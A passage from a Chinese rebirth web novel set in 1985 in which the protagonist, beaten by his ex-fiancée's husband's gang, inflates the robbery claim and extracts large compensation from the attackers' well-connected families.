黎老爷子点头:“你考虑得没错,从那个特殊年代过来的公社书记,没点手段不是进去了就是下来了……”
牛老微笑着打量黎军:“臭小子是老黎家的种,这阴险的体质一毛一样。”
第26章 极限拉扯一下
打了胜仗后,侯胜利开着塞满狐朋狗友的吉普车没有回家,直接去了朱东升家,因为他家就一个寡妇老娘,平时也管不住他。
此时的县城一到夜里就漆黑一片,跟乡下没啥区别,夜市大排档录像厅都要两年以后才会出现。
这些人太晚也没地方去,就打算去朱家待一晚,顺便在他家整点吃食喝酒打牌。
朱东升家是独院,他拍了半天门也没人开门,正纳闷呢,就听见西侧院墙根扑通一声,似乎是重物落地的声音。
其他人立刻往声音来源看去,就看见一道黑影正在踉跄爬起。
“你家招贼了?”
“还愣着干嘛,赶紧上啊!”
于是乎,六个人呼啦一下冲上去,追上黑影就是一顿胖揍。
“哎呀,救命啊,别打了东升,我不是贼,我是你有权叔。”
十几只大脚丫子猛踹,黑影瞬间就瘫地上了,再不求饶他怕自己被踩死。
“朱有权,停停停。”
朱东升挡住所有人,有些诧异,朱有权是他们大队的队长,家里光景过得挺好,怎么会跑他家偷东西。
这时另外一道身影从大门口出来,循着声音往这边跑了过来。
“东升,别打了。”
“妈……你们”
朱东升看着衣衫不整的老妈,瞬间明白过来,只觉得脑瓜子嗡嗡的。
他妈守寡十多年了,有道是寡妇门前是非多,这些年时不时就有风言风语传进耳朵,但是他不相信自己母亲会做出这种事。
其他人也是一阵惊愕,自己好兄弟的老妈偷人,还被逮了个正着,这惊天大瓜,能吃到撑好吧!
“都走吧。”
侯胜利招呼其他人离开,好兄弟的大瓜吃着不太像话。
朱东升他妈张翠香抽噎着扶起朱有权:“这些年不是你有权叔帮扶,咱们娘俩早就饿死了,妈带你们兄弟俩能活着不容易啊……”
朱东升心里那个尴尬,都没脸活了,老妈偷人还被一群好兄弟抓住。
供销社大门后半夜被敲开,朱东升买了一大堆食品糕点,又买了几瓶“跟头烧”(当地自酿的玉米酒),跟几个死党在自家火炕上吃喝起来。
他心里有苦说不出,老妈说的一点没错,他爸没的时候,土地还没有下户,生产队里一个寡妇带着两个幼子,根本就活不起。
朋友们默契的没人再提这糗事,只是一个劲劝他喝酒。
公安赶到侯正东家的时候,这两口子一脸懵。
“公安同志,我是侯正东,红旗公社的书记,你们找我儿子干什么,他犯啥事了?”
“侯书记你好,你儿子涉嫌一起拦路抢劫案件,受害者认出来的,麻烦你配合一下,把他交给我们带回去调查。”
侯正东夫妻俩不可置信,他儿子条件优渥,零花钱就没断过,岂能干出这种拦路抢劫的事情。
“公安同志,会不会搞错了,我儿子不可能干出这种违法乱纪的事情。”
董莹矢口否认。
“受害者记下了你的公务用车牌号,也认得侯胜利本人,不会有错的,侯书记,请配合一下我们的工作。”
公安不急不躁,受害者是个退伍老兵,认出行凶者了还能有假。
“同志,我儿子晚上没回来,我是真的不知道他去哪了。”
侯正东没说谎,公安的话他已经信了七八分,他的儿子什么造性他心里清楚。
“那你们知道他可能去哪了吗?”
侯正东住房不大,一眼就能看完,公安看了一圈后问道。
“这个我还真的不知道,这畜生经常夜不归宿。”
“他有什么来往密切的朋友或者亲戚吗?”
侯正东:“我亲戚都在乡下,他一般不会主动回去,至于朋友吗,我是真的不清楚。”
“那好吧,假如他回来,还请侯书记第一时间带他归案,主动交代问题,争取宽大处理的可能还是有的。”
上门抓人未果,这已经算不得投案自首了,但是公安的话也有深意,以侯正东的能力,可操作性还是蛮大的。
公安离开后,董莹慌神了,拉着丈夫的手臂不停摇晃。
“正东,这可怎么办啊,胜利要是真的犯了事,不能被严判吧?”
这时候严打还没过去,侯正东气得脸颊都扭曲了:“哎,慈母误儿,都是你给惯的,胜利要是真的参与了,谁也保不了他,法律面前人人平等!”
董莹脸都吓白了,嘴唇不停地哆嗦:“正东,那你想想办法,胜利绝不能进去,否则这辈子就毁了。”
侯正东脸色铁青回屋,思考要怎么操作这事,他就这么一个儿子,绝不能被送进去。
黎军在医院打完点滴,跟黎老爷子和牛老一起回了老干所,原本是要回家的,但是自行车圈瓢了,没办法骑。
大晚上的老爷子也不放心。
翌日清晨,黎老爷子安排院里的车送黎军去了派出所问情况。
得知没抓到人就出了派出所,这事证据确凿,那时候所有人圈子都不大,抓住他们并不是难事。
“黎军,你是回院里还是我送你回家,老爷子说了,公家的饭不能给你白吃,让你回家养着呢!”
司机小师表情不太自然地对黎军道。
黎军笑道:“嘿……是我亲爷爷,这公私分明的,他孙子被打成这样,都不允许沾点公家便宜,他也不怕我回去爹娘担心!”
“呵呵,老一辈革命家都是这作风,不拿群众一针一线是刻在骨子里的记忆,更别说沾公家的便宜了。”
“那还说啥啊,送我回家吧,对了,回头自行车帮我取一下,在城关派出所呢!”
小师点头:“没问题,这点小事我可以帮你。”
“哦,对了,顺带去一食堂帮我请个假,就说我被人挠了。”
“这么说不怕人笑话吗,被打又不是啥光彩的事情。”
黎军一脸无所谓:“太在意别人的看法,就会活成别人的裤衩,那样别人放啥屁你都得兜着……”
“噗……”
小师直接笑喷了。
两个人说这话就到了东风大队,黎军突然指着华家庄方向道:“送我去那边,没准那个侯胜利去他老丈人家了,他老婆是我前女友,我这顿打就是因为她挨的。”
小师诧异:“你们这是有恩怨呐?”
黎军:“这事原本已经过去,我就没放在心上,奈何有人找死送上门,我有什么办法,这顿打也不能白挨。”
“你这包的跟猪头一样,不嫌磕碜吗,咋说那都是你前女友?”
“没事,老天要让谁灭亡,必先让其疯狂,我这么去给她家人看看,让他们使劲地爽爽,然后这打脸不就爽翻天了吗,这就叫极限拉扯,否则都不带爽点的。”
小师一脸愕然,就觉得眼前这货的思维太跳脱了。
“你这是想让人看你热闹,然后你再看他们热闹,这是闲的蛋疼吧?”
第27章 傻眼了
一大早,侯胜利等人从朱家的炕上醒来,昨晚他们喝得五迷三道,起来都有些宿醉的感觉。
“火车站下边来了个包子的,咱们去吃包子喝豆腐脑吧!”
朱东升摇晃着发晕的脑袋说道,昨晚他心里不痛快,喝得最多。
“我把你们送过去就得回去,今早我爸上班要用车,就不跟你们一起吃了,晚上我安排,一食堂搓一顿,昨晚哥几个给我帮了大忙,我不能不有所表示。”
“侯哥敞亮,跟着侯哥混,吃香喝辣没毛病。”
“就是,给的是咱侯哥。”
侯胜利在火车站把几个人放下之后,给卖包子的丢了十块钱,自己拿了几个包子就回家去了。
卖包子的是用驴车拉着卖的,车厢里放着两个包着棉被的大瓦翁,一个装包子一个装豆腐脑。
朱东升跟剩下四个人就在驴车旁吃起了包子豆腐脑。
“侯哥这人讲究,包子钱都给提前付了,一会吃完后,你们打算干嘛去?”
张力吃着大肉包子问道。
朱东升没接话,起身往街对面的供销社而去,回来时腋下夹着五条红塔山牌香烟。
“哎呀,朱哥这是不想输给侯哥吗,买这么好的烟干嘛?”
党朝阳笑道。
“昨晚白捡的,直接就给哥几个分了,侯哥得先留在我这,等下午喝酒的时候再给他。”
这小日子美的,吃香喝辣不外如是,所有人笑得大鼻涕泡都要飞出来了。
老干所的吉普车在华家庄村口停下,黎军下车往村里走。
“你在东头等我,我在村里亮个相。”
小师无语:“你这又是何必呢,让别人咋议论你,被打了还这么嘚瑟。”
这时候八点不到,初冬早上挺冷,村道上偶有倒尿盆的出现,看见他脑袋上缠着纱布,都会不自觉打量一下。
华老三挑着担子,两个粪桶有规律地上下颤悠悠地往前走。
“哎吆,老华叔,去倒夜香啊,这身子骨看着不错呢,小水担掂的那叫一个节奏感满满。”
黎军戏谑的声音让华老三不爽,但是看到他的尊容时,不自觉就笑出猪叫声了。
“哎呀……哈哈哈,黎小子,你这是咋了,被驴车撞了?”
昨天侯胜利吃饭喝酒时说要痛扁黎军给华家出气,华老三并不知情。
被人打这事,打死他也联系不到黎军身上,这小子小时候可是十里八乡的孩子王,打架斗殴生猛得一塌糊涂。
“没有,老侄撞你姑爷拳头上了,哎呀,这还真是应了那句老话,终日打雁,到底被雁啄了眼。”
华老三愣了一下,有些不信。
这时他的两个儿子推着自行车出门,他们这是去机械厂报道的,所以起得比较早。
“嘿……好嘛,这是谁呀?”
“哎呀,咋被打得跟孙子似的,谁干的啊?”
华龙华虎可着劲磕碜某人。
“被你姐夫呗,解气吧!”
黎军笑得跟傻子一样,眼角的黑紫被扯得生疼。
“昨天我姐夫跟他几个朋友说,要胖揍你一顿,我还特意叮嘱了一下,说你练过武术,让他们别大意,你放倒了几个。”
华龙笑眯眯地打量黎军,还给他递上一根华子,这烟是侯胜利孝敬老丈人的。
“我都被打成这样了,还能放倒人家,你可真看得起你前姐夫。”
黎军坏笑。
“你少在这胡说八道了,你跟我姐只是订婚,还没结婚呢,可不是啥前姐夫。”
华虎嗤之以鼻,他姐夫可不是眼前这个被打得跟三孙子一样的黎军。
“我可没胡说,我跟你姐都那个啥了,这前姐夫可是坐实了的。”
这货并没有得手,不过是恶心华家父子的。
“我呸,你要点脸吧,我闺女才没不会跟你……那啥。”
华老三听得脸黑,挑着粪桶往田里而去。
“你胡说八道,也不撒泡尿照照自己啥德行,我姐以前能看上你也是瞎了眼。”
“跟他说啥呀,姐都把他踹了,我们的姐夫姓侯,对了,我回去跟姐说一下,让她也高兴高兴,看看某人的这幅尊容,真是解气呢!”
黎军越过华氏兄弟,往村外而去。
等华妮娜出门的时候,就看见一个被纱布缠满的脑袋。
“活该,恶人自有恶人磨,让你欺负我们家。”
侯胜利回家时,侯正东抬手就给了一个大逼兜子。
“你个混账东西,还知道回来!”
侯胜利被打得莫名其妙,捂着脸怒道:“爸,你疯了,打我干嘛,这时候回来也不耽误你上班啊!”
这货以为是自己把车开出去一天一夜,老子生气了。
董莹听到动静,赶紧从屋里跑出来。
“哎呀,你这死孩子昨晚干啥了,公安都来家里了?”
侯胜利挺意外:“公安来家里了,咋说的?”
侯正东出门看了看两侧,把儿子拉进屋里,然后关上门。
“你昨晚到底干啥了?”
看着脸色铁青的老子,侯胜利浑不在意道:“没多大事,我把妮娜那个前男友打了一顿,他也打我的人了,顶多算是互殴吧!”
侯正东抬手又给了一记耳光:“真是成事不足败事有余的货,老子迟早要被你害死,人家退婚那是人家的事,饭里有你还是菜里有你,就显得你能耐了。”
“妈,你看我爸,他又打我,互殴算是多大点事,顶多花几个钱就完了。”
“啪”
话音落地,董莹也给了侯胜利一记耳光,这货都懵逼了,他妈从来没打过他,今天老夫妻这是吃了枪药了,这么冲。
“你个忤逆子,闯下大祸了还不自知,人家都把你告了,拦路抢劫你知不知道,这是要判刑的……”
董莹声音都劈叉了,恨铁不成钢地指着儿子的额头,尖锐的指甲都在上边戳出了好几个血印子。
“不可能,我们没抢他财物,顶多是打架斗殴。”
侯胜利扯着嗓子喊。
“你个不成器的东西,公安说了,受害者被抢了一千多块钱呢,这是重罪你知道吗?”
侯胜利只觉得脑瓜子嗡嗡的,他记得很清楚,打完人他们就颠了,没动手掏人家财物的。
突然,他想起了一个事,最后朱东升好像在黎军身上摸了。
“坏了!”
侯胜利想到这,突然就傻了,这可是实打实的拦路抢劫啊,一旦坐实,天王老子也保不了他。
“你想起了什么?”
侯正东死死的盯着儿子。
“最后朱东升好像在他身上摸了,具体我不清楚,乌漆嘛黑的看不太仔细。”
“坏了坏了,正东,赶紧想想办法,胜利绝不能进去,否则这辈子就完了。”
董莹直接六神无主了。
侯胜利更是瘫软在沙发上,眼神空洞地看着自己老子。
“我先给宁局打个电话,看这事能不能先找受害者商量一下,不过胜利这次估计悬了,涉及到刑法,不好弄啊……”
第28章 团伙作案
黎军回到家,一家人都懵了,儿子昨天上班去还好好的,回来后脑袋包得成了个猪头。
“哥,你这是咋了?”
“哎吆……儿子,你这是咋了。”
一家人顿时就乱了,黎军以前在家的时候,都是他打别人,从来没有被人打过。
“嘿嘿……妈,别担心,一点小伤而已,不小心撞到树上了。”
黎母眼里尽是担忧:“就知道臭贫,到底是咋了,摔沟里了吗?”
那时候没有路灯,乡村土路坑洼不平,摔进沟里都是常有的事。
“出点意外,昨晚碰上几个等路的(劫道的),我已经报公安了,头上就擦破点皮。”
这尊容也没法瞒着家里,黎军尽量说得轻描淡写一些。
“啥,等路的?”
黎母更加担心了,这事说起来可大可小,万一碰上个亡命之徒,小命都有危险。
“哥,你十多年白练的吗,两三个人应该近不了你的身吧,居然能被揍成这德行,哎吆,这可真是连妈都不认得了?”
黎军瞪了一眼黎强:“哎呀,看把你能的,月亮没你上不天了呗,对方六七个惯犯呢,从背后麻袋一套,这踏马的谁有啥招!”
黎母上下摸索着儿子:“还伤到哪儿了,去医院检查没,可别打坏了哪里?”
“哎呀……妈,检查过了,啥零件都好着呢,其实这是有预谋的作案,对方领头的是老华家的女婿,这不华家在咱们家吃亏了吗,给未来老丈人做出头鸟的。”
“啥……狗日的老华家,胆子肥了,我找他去。”
黎强就要起身。
“你消停点吧,老华家赔偿当天就把华妮娜嫁给侯胜利了,那家伙有点背景。”
“他爹是天王老子也不行,我儿子还能被白打了。”
黎母大怒,不知道谁打的也就算了,知道问题出在哪,断没有善罢甘休一说。
“我的亲妈,这事不用咱出面,公安会给咱们一个说法的,这事我要不让他们脱层皮的话,我就跟我爷姓去。”
黎军说到这,黎强突然问道:“哥,你说的侯胜利是何方神圣,有啥背景?”
“他爸是咱们公社书记,不过这事他应该无计可施了。”
“为啥?”
母子俩同时问道。
黎军坏笑:“当晚报案后,公安送我去医院包扎,我给爷爷打了个电话。”
黎母跟二儿子同时松了口气:“那就不怕他家有人有背景了。”
黎军老神在在:“一个公社书记,估计不敢太明目张胆,只要我们不松口,那些人就必须重判,这可是拦路抢劫,妥妥够判十几年的。”
娘仨在院子里聊了一会天,黎母就去做饭了,黎强陪哥哥在院子里说话。
“强子,你跟爸干木工活,一年能挣多少钱?”
“你干嘛,我兜比脸干净,挣的钱都交给妈了。”
黎军翻了个白眼:“我又不跟你借钱,你紧张个毛,我的意思是干苦力挣不了几个钱,哥有点想法,保证咱家迅速成为万元户……嗯不,万元户算个屁,目标太小了,起码十万元户起步,以后百万千万都有可能……”
当前万元户含金量挺足,农村还真没几个。
黎军怕开口太大,家里人当他失心疯了。
“哎呀哥,你这有点飘了啊,快上月球了,万元户算个屁,去年我跟爸夹紧腚沟子,汗水一摔八瓣才攒了七百块,还不够你老丈人家塞牙缝的。”
黎强就觉得哥哥飘了。
说起彩礼黎军就有些蛋疼:“以后咱别再提彩礼好不好,我都有阴影了,跟你说正事……”
于是黎军开始把自己的思路跟弟弟一番说道……
“哥,这能行吗?”
“听哥的错不了,老村子现在荒废着,估计用不了几个钱就能承包到手,到时候咱们把山里的溪流截断,自然就会形成鱼塘,咱们这现在没人养鱼养王八,先人一步就有先富起来的可能。”
黎军大概说了自己的思路,先把废弃的老村承包下来,然后圈山养鸡,种菜搞养殖,利用山涧溪流养鱼养虾,其实就是先占地,为日后拆迁埋下伏笔。
而且圈山养鸡、种菜养殖在接下来的几年里缺口巨大,所需成本却不大,可以先上家里富足起来。
土地承包加上改革开放,许多地方政策开始松动,八五年的时候,农村养殖啥的已经成了常态,政府也开始鼓励农户自给自足。
临县公安局,宁万征刚一进门,就有人告诉他,办公室有电话找他。
“那位,我是宁万征”
“宁局早,我是侯正东啊!”
电话里传来侯正东带着讪笑的声音。
“哦……呵呵,老侯,你啥事,这么早给我打电话,刚进办公室屁股还没坐下呢!”
就在这时,刑警队长乔峰超推门进来:“宁局,昨晚发生一起恶性事件。”
宁万征皱眉,对着电话说道:“老侯,你稍等一下,我听个报告。”
说完不等侯正东说话就捂住了听筒。
“你说”
“昨晚八点多,有人在西郊外两公里处的麦地生产路实施拦路抢劫,受害者是一名退伍军人,当时与劫匪发生激烈争斗,后寡不敌众后被抢走……上千块钱,头部被击打受伤,他是自己报的案,我们的同志带他去医院包扎验伤……”
乔峰超把黎军报案到医院就医,录口供所有事情讲述了一遍。
宁万征听到一半就挂了电话,拿起黎军的口供翻看了一遍。
“啪”
拍桌子把乔峰超吓了一跳。
“真是岂有此理,居然还是团伙作案,严打刚过去,这些人就急着跳出来找死了,赶紧带人去把嫌犯抓回来,不是有嫌犯资料吗?”
乔峰超立正领命,然后接着说道:“宁局,那个领头的嫌犯侯胜利,是下边红旗公社书记,侯正东的独子。”
宁万征看了看旁边的电话,猜到侯正东打电话的目的,最终长长地叹了口气,侯正东是他的战友,两个人一起扛过枪,上过战场。
经历过生死考验的战友情也许是最掏心窝子的友谊,在法律和人情方面,宁万征生平头一次出现了犹豫。
“哎……老侯啊老侯,子不教,父之过,你是怎么教儿子的,这种事你让我怎么做,让我把党性放在哪里?”
乔峰超看向领导,侯正东和宁万征是战友这事,他清楚得很。
“昨晚去抓捕了没?”
“昨晚上去了,扑了个空,侯书记也不知道儿子去哪了,这事嫌犯还不知道呢,我们打算早上再去一趟,只要侯胜利归案,其他人就是猪圈里的猪,跑都跑不掉。”
第29章 钱才是弥补心灵创伤的良药
乔峰超带人出发了,宁万征站在窗口沉思了半晌,又拿起了电话。
“老侯”
“哎呀,你可打电话了,我找你是有十万火急的重要事情。”
侯正东迫不及待就说了儿子的事。
电话里,宁万征叹了口气:“老侯,我刚才听的简报就是有关你儿子的,打黑除恶的风头还没完全过去,只能说你太纵容儿子,正好碰到风头上了。
现在我说你记,带你儿子赶紧投案自首,供出其他参与者,我这里可以给他个重大立功表现,然后你去给受害者真诚道歉,拿出足够的诚意,获得他的讲解,这样在量刑时会充分给予倾斜。
我们的同志已经在去你家的路上了,你只有几分钟时间考虑,一旦被堵在家里抓获,就不是自首了。
咱俩生死战友一场,我能帮你的,就只有这些了,你自己好自为之吧!”
挂断电话,侯正东根本没时间考虑,拉起儿子起身:“赶紧跟我去公安局自首,把昨晚的人都供出来,宁局说了,这样给你算是重大立功表现,可以轻判。”
董莹和侯胜利都懵了。
“爸,你救救我,我不想坐牢,那样我这辈子就毁了。”
“老侯,你不能带他去自首,那样胜利一辈子就完了,再想想其他办法行不行。”
侯正东看到这娘俩的反应,气就不打一处来。
“真是好言难劝该死的鬼,娘俩一对瓜皮,宁局是我的生死战友,他能害我吗,严打还没过去,胜利这就是纯纯的找死。
公安已经在来的路上了,要是被堵在家里抓获,那可就不是投案自首了。
你也别太担心,即便是判了,我也有办法把你捞出来。”
侯正东这么说,董莹母子才算是放下心来,跟着他一起出门。
他们的吉普车开向公安局的路上,一队警车鸣着警笛跟他们打了个照面,侯胜利吓得脸都白了,紧张兮兮地看着自己老子。
“哼……孩子死了知道哭了,大鼻涕流进嘴里知道擦了,现在知道怕了,早干嘛去了?”
看着儿子怂怕的表情,侯正东就来气,没一点担当的货。
午饭时间,所有参与嫌犯在一家羊肉泡馍馆被抓获。
这些人完全没意识到,自己已经大祸临头,当时还在就着糖蒜喝老酒呢,谈论的话题还是谁下手最黑,谁麻袋套得好。
银手镯一戴上,所有人都吓尿了,尤其是党朝阳和朱东升,他俩是惯犯,抓住可没那么容易脱身。
审讯是分开进行的,很顺利,对于事件的起因和过程供词都基本吻合。
不过说到打劫财物时出了点岔子,朱东升说自己只掏了一百五十多块钱,审讯公安却说有一千多块。
其他人也都没看到钱,对此一无所知,不过有个同伙说朱东升这人不老实,也许是他自己独吞了也未可知。
案件清晰明了,接下来就是收押,受害者指认嫌犯,嫌犯指认现场等等一系列流程。
当天下午,黎军一脑袋纱布来到公安局,侯胜利他太认识了。
“领头的就是他,打我的时候,一直在那叫嚣,说打断我三条腿,还说啥我不该跟他老婆处对象,吃进去的东西必须给他吐出来之类。”
公安都惊了,好嘛,还是蓄意报复伤人加抢劫,罪加一等。
朱东升也跟着倒了大霉。
“掏我兜的就是这个人,脸凑在我跟前点烟,生怕我认不出他,简直嚣张得无法无天。
公安同志,我当兵八年,还上过老山战场,国家就给了一千多块的转业费,一下就被这孙子掏了个干净,你们说我容易吗?
好像还有个姓党的,套麻袋的主意就是他出的,要不然我一个老兵,能轻易着了他们的道。
同志,你们可得给我这个转业老兵做主啊……”
这货声泪俱下,把在场的公安都给感动无语了。
这可是对国家有功的老兵,就这么被人套了麻袋,叔可忍婶也不能忍,坚决要严肃处理,重判涉案者。
指认完成,黎军签了字,就准备离开公安局了。
接下来的就是公诉流程了,这些人不出意外都会被重判。
“黎军同志,请留步!”
一个中年公安满脸堆笑地叫住黎军。
“您有事,还需要我补充啥细节吗,该说的我都说了,我这头被打得有些迷糊,浑身脑袋疼,需要赶紧回去躺着。”
宁万征嘴角狠狠地抽搐了一下,跟在他身后的侯正东是眼角抽搐,他老婆董莹则是肝都颤了。
没办法,黎军的证词太给力了,司法程序不重判都对不起所有退伍军人了。
“小同志,这边休息会,咱们坐着说话。”
宁万征态度很客气,黎军被请进一间办公室里坐定。
“黎军同志,这两位是侯胜利的父母,也就是这次事件参与者的监护人。”
“不对,公安同志,您别偷换概念,侯胜利是主谋,没有他就不会有这起事件,同志,这是一起恶性案件,您没看我被打得跟三孙子似的,要是说情的话就免了吧!”
宁万征带着讪笑,递给黎军一杯茶水。
“小同志,你先听我把话说完,法律面前人人平等,我是个老公安还不知道这个。”
黎军接过杯子点头,示意宁万征继续说。
“是这样的,侯胜利事后就意识到自己犯错了,在家里深深地自责了一夜,他父母为此打了他大半夜,对你平白遭受无妄之灾深表歉意,他们想跟你道个歉,希望你给个机会,让他们说几句话。”
黎军心里暗笑:都是千年的狐狸,你跟我这玩聊斋,看老子这次能不能讹不死你就完了。
侯正东赶紧凑上来:“黎军同志,对我儿子做出的糊涂事,我深表歉意,是我没把他教育好,对不起了同志,让你遭罪了。”
侯正东深深地鞠了一躬,继续道:“现在事也出了,我跟胜利他妈特别内疚,想对你做出一些补偿,弥补一下你所受的伤害,这样我们心里也能好受点……”
侯正东说得很诚恳,全程没提一个字请求原谅他儿子的话。
黎军一挑眉毛:“补偿,你打算怎么补偿,我的心灵可是受了极大的创伤呢?”
肉身受伤,经济补偿,钱才是弥补心灵创伤的良药。
侯正东诚意满满:“要求黎同志可以尽管提,工作、钱财补偿我都愿意,只要能让你心里好受些,我都会想办法满足。”
黎军用手指挠了挠鼻子:“可怜天下父母心,难得你们这么懂事,我愿意接受你的补偿,不过工作我已经有了,是国家给我安排的……”
“我出钱,我出经济补偿,我这儿子太不懂事了,给你带来的创伤令人心碎啊!”
黎军迅速在脑海里估量了一下侯正东的实力,这家伙当了十几年公社书记,看他的作风和家人的做派,屁股底下绝对不干净,身价也绝对不菲。
自己这第一桶金就要从这家伙身上出了,想想就觉得美妙啊,这顿打不白挨。
侯正东搓着手,期盼地看着黎大少爷,董莹也是心提到了嗓子眼,能够拿到受害者的讲解书,对法院的量刑至关重要。
儿子一旦被轻判,以他们的能力再上下运作一番,弄个缓期执行、保外就医啥的也不是不可以……
第30章 血盆大口
“拿十万块吧,我就勉强原谅侯胜利,这也是看在你们诚意这么足的份上。”
十万块一出口,黎军自己就后悔了,心里一高兴给代入到前世了。
这年头别说十万块,一个公社书记,十几年的工资也就三万左右,侯胜利加上他老婆,手上有五万块都有重大贪污嫌疑。
侯正东跟宁万征一个踉跄差点摔一跟头。
“啊……你这个小王……同志,见过十万块吗,就敢张嘴十万,都够买你几条命……”
董莹心里一突突,就把想说的给秃噜出来了。
侯正东狠狠地瞪了老婆一眼:嘴巴跟大婆娘棉裤腰似的。
“啥意思,你还打算买凶杀我灭口吗,这位公安同志,她这是什么意思,你可得给我们小老百姓做主啊!”
黎军一副惊恐的表情,宁万征也剜了董莹一眼,这娘们简直成事不足败事有余,什么瓜皮玩意,啥都敢说,当你家是军阀头子呢!
“小同志,她也是说秃噜嘴了,这是新社会,红旗下,谁敢买凶杀人,心放进肚子里。”
宁万征好一顿安慰,要不是他是个外人,都想大逼兜子扇这婆娘几下了。
“你们不是说有要求尽管提吗,这就不愿意了。
你儿子一旦进去,别说他毁了,你这个书记恐怕也难辞其咎,下不下来我不敢说,但是屁股绝对跟电焊泚了一样,会焊死在公社书记这位置上。”
黎军不想给侯正东真逼炸毛了。
这种事即便是没有谅解书,法庭也会宣判,区别就是判重或者判轻而已,自己却毛都没捞到,岂不是亏大发了。
有这笔钱运作,他这一世的腾飞大计就会容易得多,尤其是这个时间段,有本钱选择的余地就会多上许多。
侯正东从裤兜里掐了掐大腿,心里按下想打死某人的冲动。
使出吃奶的力气,让自己嘴角尽量上扬。
“黎同志,你这要求着实有点高啊,我是国家干部,工资就一两百,十几年了,除去吃穿用度,别说十万了,三万我都拿不出来,加上我爱人的工资,顶到头能凑出……三……五万块吧!”
侯胜利想说三万的,但是怕黎军炸毛了,他老婆刚才的话很危险,眼前这转业老兵话里话外听着都不简单。
所以硬着头皮说出这个数。
宁万征很有深意地看了他一眼,然后看向黎军。
“小同志,这诚意可以说很足了,说实在的,你也没受到什么实质性伤害,见好就收吧!”
“啪”
黎军一巴掌拍在桌子上:“没受到实质性伤害,脑袋缝了近二十针,血流出去大半桶,你管这叫非实质性伤害,非得我残了或者死了,才叫实质性伤害!”
宁万征嘴角狠狠地抽搐了几下,自己这话说得简直脑残。
他的本意是这伤也没啥大不了的,脑袋开个瓢,给五万块补偿,这好事哪找去,他自己都想被开瓢了。
“呵呵……是我说错话了,这里向你道歉,我的意思是,侯书记也不可能拿出再多的钱了,国家干部,一个月工资都是死的。”
“对对对,五万块还要我兄弟姐妹几个凑一凑呢,黎军同志,这事你看……”
黎军看向宁万征:“公安同志,这笔钱是侯胜利家人自愿给我的补偿对吧?”
“对对对,侯胜利的父母自愿对你做出补偿,请你原谅他儿子的鲁莽行为。”
“那其他人呢,打我最凶的就是那几个人了,他们也得补偿我一下吧,要不然有些人不长记性呢?”
宁万征松了口气:“那是必须的,回头他们或者家人也要跟你谈一下的。”
黎军心里那个美啊,启动资金这不就来了吗,除了费脑袋,费血流量之外,简直就是一本万利的买卖啊!
侯正东两口子见黎军答应,赶紧屁颠地回去凑钱了,
他是有家底的,十年特殊年代里,从下边弄了不少好东西。这些年开放了,陆陆续续倒腾出去一些好玩意,手里不差钱。
不过为了掩人耳目,他们第二天才把钱准备好。说是亲戚朋友都借遍了,还特意跟宁万征借了一千块打掩护。
黎军很爽快地给侯胜利出了谅解书,拿到重生后第一笔巨款,心里那叫一个畅快。
侯正东跟老婆走出派出所,脸上的阴狠难以掩饰。
“小杂种,给老子等着,从十年特殊时期到现在,还没人敢这么让老子肉疼的。”
董莹同样一脸狠厉:“绝不能放过这小杂种,啥时候找些人给他拉到河滩埋了。”
其他五个人中,都是本本分分的农民,家里根本没啥钱,也不懂法,反正都要重判了,根本没想过获得受害者的谅解,也拒绝赔偿。
党朝阳身份有点特殊,他大伯是临县法院的审判长。
说事的时候,党家人把他请了出来。
党卫国清楚所有法律程序,对黎军的血盆大口颇有些头疼。
给黎军道歉之前,兄弟俩和老父亲有这么一段对话。
“二弟,拦路抢劫本身就是重罪,加上故意伤害致人轻伤,按照正常流程需要重罚,从犯至少都十年起步,这事有些难办了啊!”
“大哥,朝阳是你的亲侄子,咱老党家就朝阳,向阳两兄弟,以后还要靠他们延续咱们家的香火呢!”
党卫国是生了两个闺女,膝下没有儿子,在农村他这就算是绝户了。
党老爷子也给大儿子施加压力:“卫国,你在审判长位置干了十几年了,这点事还不好处理吗?
农村人有几个懂法的,反正要判刑,给他赔个屁钱,你动动手脚费费神,上头活动一下,给你侄子弄个保外就医或者缓期执行啥的……”
党卫国无语地看着老父亲:“大,我的亲大,还有二弟,这是重罪,不是那么好操作的,量刑的考虑有多方因素,首先就是受害者的讲解最为关键,你知道侯正东赔了多少钱吗?”
作为一起案件中的参与者,党卫国和侯正东接触过,至于其他穷鬼法盲,他根本就不考虑。
“多钱?”
“五万,他赔了足足五万块,谅解书才拿到了。”
党朝阳的老爸和爷爷顿时傻了,五万块对他们来说,就是天文数字,党老爷子一辈子也没见过一万块长啥样。
“朝阳不是主犯,也没有亲自抢人钱的行为,只能算是从犯,只要拿到谅解书,我这边运作一下,把责任全推到另外几个人身上……”
党卫国如此这般,说得嘴巴都要喷沫子了,才把兄弟和老父亲说通。
党家上下亲戚朋友搜腾了一遍,凑了两万块钱,终是得到了受害者的讲解。
出事后一个礼拜,黎军被华家女婿拦路抢劫报复打击的事情就传遍了。
华家人直接傻眼了,尤其是华妮娜听到侯胜利被抓,气得眼前黑了又黑,她的清白身子都给对方祸祸了,这倒好,还没结婚呢,未婚夫直接进了局子。
第31章 我喜欢胡同里赶猪
第二食堂的升级工作延迟了一周才完成,这时候黎军的脑袋也拆线了,为了挡住被剃的头发,他戴了一顶军帽去上班。
食堂四壁都刷了大白,地面重新用水泥浇筑,还刷上了枣红色的油漆,跟过去一比,不说是云泥之别了,起码上了一个大台阶。
窗明几净看着就亮堂不少,通往后厨的墙壁被木隔断取代,透明的玻璃一眼就可以看到整个后厨。
后厨墙面瓷砖到顶,炉台也重新贴了瓷砖,边缘还镶嵌了三角铁,在当时绝对能亮瞎狗眼。
大厅原来墙壁上的菜单没了,取而代之的是带着塑封的菜谱,这在当时比较前卫,沿海开放城市才出现。
菜品也添加了当时没有的几十个新品,都是来自上一世他的拿手菜以及社会上流行的菜品。
十一月十四号,二食堂全员上班,进入开业前准备。
开业活动黎军借鉴了后世那些酬宾活动,凡进店就餐就送泡菜或者花生米一份,消费就送百分之十优惠……等等。
当时的国营饭店一家独大,根本不存在送菜优惠酬宾一说,态度生硬冷倔更是标配。
二食堂焕然一新后,服务态度一百八十度大转弯,那是真的做到了宾至如归。
所有人到齐以后,刘小福做了个开业前的动员大会,然后就是紧张忙碌的准备工作。
为了一炮而红,黎军向刘小福建议,明天摆几桌宴请一下临县方方面面的头头脑脑,让老饕们对升级后的二食堂有一个全新的了解,也是打开局面的最优解。
紧张忙碌地准备到午饭时候,刘小福带了一个厨子和三个服务员过来,说是借调三食堂的。
介绍完后,余家良看了看黎军:“黎师傅,那个大美妞不是一食堂哪个新来的,叫啥……来着?”
“李莉莎,咋了,你看上她了?”
黎军吃着饭没好气道。
